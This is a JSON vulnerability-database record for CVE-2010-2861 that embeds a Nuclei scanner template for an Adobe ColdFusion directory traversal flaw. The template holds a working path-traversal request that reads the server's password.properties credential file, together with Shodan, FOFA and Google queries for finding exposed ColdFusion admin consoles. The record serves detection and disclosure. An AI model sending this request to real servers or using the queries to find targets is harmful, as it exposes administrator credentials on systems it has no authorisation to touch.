{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2010-2861/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2010-2861/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2010-2861/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2010-2861/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2010-2861/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2010-2861"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2010-2861"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2010/CVE-2010-2861.yaml",
    "nuclei_template_severity": "high",
    "nuclei_template_yaml": "id: CVE-2010-2861\n\ninfo:\n  name: Adobe ColdFusion 8.0/8.0.1/9.0/9.0.1 LFI\n  author: pikpikcu\n  severity: high\n  description: Multiple directory traversal vulnerabilities in the administrator console in Adobe ColdFusion 9.0.1 and earlier allow remote attackers to read arbitrary files via the locale parameter to (1) CFIDE/administrator/settings/mappings.cfm, (2) logging/settings.cfm, (3) datasources/index.cfm, (4) j2eepackaging/editarchive.cfm, and (5) enter.cfm in CFIDE/administrator/.\n  impact: |\n    This vulnerability can lead to unauthorized access to sensitive information and potential compromise of the affected system.\n  remediation: Upgrade to the latest version to mitigate this vulnerability.\n  reference:\n    - https://github.com/vulhub/vulhub/tree/master/coldfusion/CVE-2010-2861\n    - http://www.adobe.com/support/security/bulletins/apsb10-18.html\n    - http://securityreason.com/securityalert/8148\n    - http://securityreason.com/securityalert/8137\n    - http://www.gnucitizen.org/blog/coldfusion-directory-traversal-faq-cve-2010-2861/\n  classification:\n    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P\n    cvss-score: 7.5\n    cve-id: CVE-2010-2861\n    cwe-id: CWE-22\n    epss-score: 0.99721\n    epss-percentile: 0.99951\n    cpe: cpe:2.3:a:adobe:coldfusion:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: adobe\n    product: coldfusion\n    shodan-query:\n      - http.component:\"Adobe ColdFusion\"\n      - http.component:\"adobe coldfusion\"\n      - http.title:\"coldfusion administrator login\"\n      - cpe:\"cpe:2.3:a:adobe:coldfusion\"\n    fofa-query:\n      - title=\"coldfusion administrator login\"\n      - app=\"adobe-coldfusion\"\n    google-query: intitle:\"coldfusion administrator login\"\n  tags: cve,cve2010,adobe,kev,vulhub,coldfusion,lfi,vkev,vuln\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/CFIDE/administrator/enter.cfm?locale=../../../../../../../lib/password.properties%00en\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"rdspassword=\"\n          - \"encrypted=\"\n        condition: and\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022100deee8bb00cf00f15cec8df8e5b958eb922dad5563b7bb8e50b129324b00c678602205d0250c20babafb1ed48115b9b61ccee63fbcd780c2605e6372b4d294ac35118:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2010-2861"
}